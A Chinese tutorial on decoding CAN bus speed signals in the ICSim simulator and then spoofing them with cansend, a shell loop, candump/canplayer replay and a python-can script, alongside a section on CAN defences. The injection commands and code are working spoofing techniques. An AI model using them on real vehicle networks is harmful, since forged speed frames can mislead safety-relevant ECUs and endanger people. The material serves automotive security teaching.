车速值还原与重放伪造仪表盘数据:CAN 信号解码+注入实战(ICSim 全程演示)

上一篇我们停在哪

上一篇(《CAN 总线消息逆向实战:ICSim + cansniffer + SavvyCAN 三步找出车速与门锁信号》)我们完成了第一步:看懂 CAN 报文——用 cansniffer 按 ID 分组、看哪个字节在变、用 SavvyCAN 画曲线,最终锁定了车速信号所在的总线 ID(0x244)和门锁信号(0x19B)。

但是很多新手卡在同一个地方:我明明看到 0x244 的报文了,data 里那一串 00 00 00 38 94 00 00 00 到底是什么意思?38 94 凭什么代表 89.5 mph?我想让仪表盘显示 200 mph,该发什么数据?

这就是本文要解决的核心问题——信号解码(还原)与信号注入(伪造)。我会用 ICSim 虚拟仿真环境,一步步带你从”看到十六进制”到”亲手把车速表打到 220 mph”。全程不碰真车、不花一分钱。

一、问题分类:三种人卡在三个地方

在做 CAN 信号分析时,我总结了新手最常见的三种卡点,你先对号入座:

类型典型困惑本质原因
看懂了 ID,看不懂数据“data 里一堆十六进制,不知道哪个字节是车速”缺乏”信号字段”概念——一条报文的 8 字节里,每个信号占据特定的位区间
找到了字节,算不出数值“第 4、5 字节是 38 94,为什么仪表盘显示 89.5 mph?”不知道原始值要经过”缩放因子 + 偏移量”的线性换算才能变成物理量
算出了数值,发不回去“我知道 200 mph 该发什么数,但一发仪表盘就乱跳”缺少编码思维(物理量 → 原始值 → 字节)和持续注入手段(单帧 vs 周期帧)

如果你属于任何一种,这篇就是为你写的。我们按现象 → 原因 → 解决方案的顺序逐个击破。

二、现象:一串十六进制,凭什么代表车速?

在 ICSim 里按住方向盘”上箭头”加速,用 cansniffer 观察 0x244 这条报文,你会看到类似这样的数据:

0x244  00 00 00 38 94 00 00 00    ← 时速约 89.5 mph
0x244  00 00 00 3B BA 00 00 00    ← 时速约 95 mph

如果你有 SavvyCAN,把第 4、5 字节画成曲线,会发现它和仪表盘指针高度同步。但你仍然答不出一个关键问题:38 94 是怎么变成 89.5 的?

原因:CAN 信号 = 位区间 + 缩放因子 + 偏移量

CAN 报文的 8 字节(64 位)数据区,是 ECU 之间共享的一张”电话账单”:每个信号(车速、转速、水温、门锁状态……)在账单上占据固定的”位区间”,由发送方按约定写入,由接收方按同一约定读出。这个”约定”就是 信号定义,通常包含三要素:

要素含义类比
起始位 + 长度信号从第几位开始、占几位(如 byte3 起 16 位)账单上的”第几行第几列”
缩放因子(factor)原始值乘多少变成物理量(如 1/100 = 0.01)单位换算汇率
偏移量(offset)物理量再加多少(通常为 0)零点校准

通用的解码公式(也是所有 CAN 工具如 SavvyCAN、cantools、Vector CANalyzer 的底层逻辑):

物理值 = 原始值 × factor + offset

所以”38 94 → 89.5 mph”并不是魔法,而是:0x3894 = 14484(原始值),14484 × 0.01 = 144.84 km/h,再换算英里 = 89.5 mph。你看,一旦拿到 factor,一切都通了。

三、解决方案:三条还原路径,从”抄答案”到”自己解”

拿到一份 CAN 报文,怎么还原出车速?有三条路,难度递增、通用性也递增:

路径方法适用场景难度
① 读源码/找 DBC直接看模拟器源码或现成 DBC 文件里的信号定义开源模拟器、公开数据库★☆☆
② 黑盒对照一边操作、一边抓包、一边看仪表盘,反推字节含义真车、没有现成资料★★☆
③ 差分分析固定变量、逐个字节扫描,用数据变化定位信号复杂信号、多字节交织★★★

路径①:读源码/找 DBC —— 最快但最依赖资料

ICSim 是开源项目(github.com/zombieCraig/ICSim),源码直接告诉我们车速信号的定义。在 icsim.c 里搜 update_speed_status,你会看到:

#define DEFAULT_SPEED_ID   580   // 0x244
#define DEFAULT_SPEED_BYTE 3     // bytes 3,4

int speed = cf->data[speed_pos] << 8;        // 第4字节左移8位
speed += cf->data[speed_pos + 1];             // 加上第5字节
speed = speed / 100;                         // 单位 km/h
current_speed = speed * 0.6213751;           // 换算 mph

翻译成人话:

    1. 车速在 data[3] 和 data[4](第 4、5 字节),按大端序拼成一个 16 位整数:raw = (data[3] << 8) | data[4]


    1. 除以 100 得到 km/h(这就是 factor = 0.01)。


    1. 再乘 0.6213751 得到 mph(ICSim 仪表盘默认用英里)。

至此,我们有了”答案卷”。验证一下:0x3894 → raw=14484 → 144.84 km/h → 89.5 mph ✅ 和仪表盘完全一致!

路径②:黑盒对照 —— 真车逆向的核心流程

如果面对的是真车,没有源码、没有 DBC,怎么办?用”黑盒对照法”:边操作、边抓包、边观察,用仪表盘的读数当”参考答案”,反推字节含义。

完整流程(也是业内标准做法):

    1. 抓包基线:车辆静止(0 mph)时,candump 记录所有报文,找到 0x244 并记录 data = 00 00 00 00 00 ...

    1. 变化观察:缓慢加速到 20 mph,再抓包。对比 0x244 的 data,你会发现只有第 4、5 字节在变。

    1. 多采样点:分别记录 0 / 20 / 40 / 60 mph 的原始值,列出对照表。

    1. 拟合公式:观察原始值变化是否线性。如果每 1 mph 原始值变化 100(raw = mph × 160.9 × 100 / 100…),就能推出 factor 和 offset。

    1. 验证:用推导出的公式解码新抓的报文,与仪表盘读数比对。

给你一个 mini 对照表(按 ICSim 真实解码):

仪表盘显示data[3:5](原始值)推导过程
0 mph00 000 × 0.01 = 0 km/h → 0 mph
~31 mph13 880x1388 = 5000 → 50 km/h → 31.1 mph
~62 mph27 100x2710 = 10000 → 100 km/h → 62.1 mph
~89.5 mph38 940x3894 = 14484 → 144.84 km/h → 89.5 mph

看到规律了吗?原始值每 +100,车速 +1 km/h——factor 就是 0.01。这就是黑盒对照的威力:不需要任何资料,几组数据就能推出公式。

路径③:差分分析 —— 当信号藏在多个字节里

有些信号不止占两个字节,或者和别的信号共用一个字节(位域交织)。这时用”差分分析”:固定一个变量,其他全部保持不变,逐字节/逐位扫描看哪一位跟着变。上一篇文章里我们提过的 cansniffer 高亮功能,就是差分分析的自动化——谁在动就高亮谁。SavvyCAN 的 Range 视图可以直观圈出变化的位区间。

四、重放伪造:让仪表盘说 220 mph

还原信号只是”读懂”,汽车安全研究真正的核心是注入——伪造报文让 ECU 相信虚假状态。CAN 协议设计于 1980 年代,没有认证、没有加密、广播式传输,任何节点都能发送任何 ID 的报文,接收方只认 ID 不认人。这就是重放攻击和伪造攻击能成立的根基。

攻击一:单帧伪造(cansend)

先算一下:220 mph 是多少原始值?

220 mph = 354.05 km/h(÷0.6213751)
原始值 = 35405(×100)
0x8A4D = 35405  →  data[3]=0x8A, data[4]=0x4D

然后一条命令注入:

cansend vcan0 244#00008A4D00

仪表盘指针会瞬间冲到最右端(ICSim 表底 280,指针直接爆表)。但注意:ICSim 会周期性覆盖车速,单帧只闪一下,需要持续注入

攻击二:循环伪造(shell 脚本)

用 while 循环持续注入,模拟”车速慢慢爬升”的假象:

for i in {0..354}; do
  hex=$(printf "%04X" $((i * 100)))
  cansend vcan0 244#0000${hex}00
  sleep 0.05
done

你会看到仪表盘指针从 0 一路平滑升到 220 mph,仿佛车辆在全力加速——实际上车根本没动。这就是”伪速注入”最直观的演示。

攻击三:录包重放(candump + canplayer)

重放攻击更隐蔽:先录一段真实驾驶的报文,再原样放回去。

# 记录:模拟驾驶 10 秒,只记录车速报文
candump vcan0 -L -l -n 300

# 重放:把录到的报文原样发回总线
canplayer -I candump-*.log vcan0

效果:仪表盘会”重演”你录下来的那 10 秒车速变化。在真实攻击场景里,攻击者会先录下”车辆正常行驶”的报文,之后在关键时刻(比如车辆静止时)重放”正常行驶”的报文,欺骗依赖车速的 ECU 或监控系统。

攻击四:Python 自动化注入(python-can)

如果要做更精细的控制(比如注入特定车速值、按时间曲线变化),用 python-can 库:

import can, time

bus = can.Bus(interface='socketcan', channel='vcan0', bitrate=500000)

def send_speed(kmh):
    raw = int(kmh * 100)  # factor = 0.01
    data = [0x00, 0x00, 0x00, (raw >> 8) & 0xFF, raw & 0xFF, 0x00, 0x00, 0x00]
    msg = can.Message(arbitration_id=0x244, data=data, is_extended_id=False)
    bus.send(msg)

# 持续 3 秒注入 120 km/h
for _ in range(60):
    send_speed(120)
    time.sleep(0.05)

这段代码把”车速 = raw × 0.01″反过来用(编码),实现了任意车速值的精确注入。这正是后面开发自动化渗透平台时”报文注入模块”的原型。

五、为什么 CAN 这么”裸奔”?

你可能想问:车厂为什么不加密?为什么认证都没有?原因要从 CAN 的”出身”说起:

设计局限后果
诞生于 1986 年,面向实时控制设计目标是确定性、低延迟,没考虑对抗性威胁
广播式总线,所有节点共享任何节点都能”听到”一切,也能”插话”一切
报文只有 ID + 数据,无源认证接收方无法确认报文来自哪个 ECU
无加密、无完整性校验数据明文可见、可被篡改且不被发现
带宽仅 500 kbps,报文极小加认证/加密会挤占实时带宽,工程上难落地

换句话说,CAN 总线从设计第一天起就假设”总线上都是自己人”。一旦攻击者通过 OBD-II 口、车载娱乐系统漏洞(还记得 Pwn2Own Automotive 上 76 个零日漏洞吗)或无线攻击面进入总线,就相当于拿到了”自己人”的通行证。

六、现实中的防御:车厂在做什么?

好消息是,安全研究人员迫使行业开始补课。现代车辆的防御体系大致分四层:

防御层技术对抗的攻击
协议层CAN FD / 扩展报文空间、SecOC(安全车载通信)认证伪造、重放、篡改
网关层网关按域过滤(动力域/车身域/信息域隔离)跨域横向移动
检测层CAN IDS(入侵检测):频率异常、时序异常、ID 白名单异常注入、扫描探测
加固层OBD 口写保护、ECU 固件签名、安全启动物理接入、固件篡改

但对老车(CAN 时代早期车型)来说,这些大多缺席——这也是为什么”老车更容易被研究/被攻击”。

七、避坑清单(新手必看)

    1. 只练虚拟环境:vcan0 + ICSim 完全免费,够你练完本文全部操作。真车实验必须获得车主书面授权,且只做只读监听。

    1. 区分大小端:ICSim 车速是大端(byte3 是高字节),但很多真实信号是小端(低字节在前)。解码前先确认字节序,否则数值天差地别。

    1. 别漏周期帧:车速是周期帧(约 100ms 一次),单帧注入会被覆盖。伪造必须持续注入,频率要贴近真实周期。

    1. factor 不一定是 0.01:不同车型车速 factor 可能是 1、0.25、1/64…… 拿到 DBC 前别乱猜,用多采样点拟合最稳。

    1. 真车别爆表:往真实总线注入极端值(如 220 mph)可能触发安全逻辑或损坏执行器,模拟器里随便玩,真车上这是红线。

八、总结:从”看十六进制”到”写十六进制”

本文完成了汽车安全研究里最重要的一次跃迁:

    1. 解码:CAN 信号 = 位区间 + factor + offset,物理值 = raw × factor + offset。

    1. 还原:三条路径——读源码/找 DBC、黑盒对照、差分分析;真车逆向以黑盒对照为主。

    1. 注入:cansend 单帧、shell 循环、candump+canplayer 重放、python-can 自动化,四种手段全部在 ICSim 验证。

  1. 防御:CAN 裸奔是设计使然,现代车辆用 SecOC / 网关过滤 / IDS 补课,老车仍暴露。

下一篇预告:攻击面升级——从模拟器到真实车载网络,我们会讲硬件接入(树莓派 + MCP2515 / USB2CAN / PCAN)、真实车辆的合法研究流程,以及”虚拟测试 → 台架测试 → 授权实车”的完整安全研究路线。星宇安全实验室的自动化渗透平台,也会把今天这套”抓包→解码→注入”沉淀成可复用的模块。

老规矩:所有实验仅限 ICSim 虚拟环境,真车研究务必获得授权。看懂十六进制不难,难的是守住边界——这才是真正的”安全”。

FAQ 快速问答

问题回答
为什么 0x244 的车速是 89.5 mph 而不是 144.84?ICSim 仪表盘默认英里制,km/h 值 × 0.6213751 转换而来;总线上的原始值始终是 km/h 编码。
真车上没有 DBC 文件怎么办?用黑盒对照法:多采集几组”仪表盘读数 + 原始字节”,拟合出 factor 和 offset。
重放攻击和伪造攻击有什么区别?重放是”原样播放录好的报文”;伪造是”自己构造报文内容”。重放更简单,伪造更灵活。
为什么单帧注入仪表盘只闪一下?车速是周期帧,ECU/模拟器会周期性发送真实车速,把伪帧覆盖掉。必须持续注入。
这些操作在 Kali NetHunter 手机上能做吗?能。手机插 USB-CAN 适配器(如 CANable),用 can-utils 同样命令即可,NetHunter 内置终端 + Root 环境非常适合。

© 版权声明
THE END
喜欢就支持一下吧
点赞15赞赏 分享
相关推荐
评论 抢沙发

请登录后发表评论

    暂无评论内容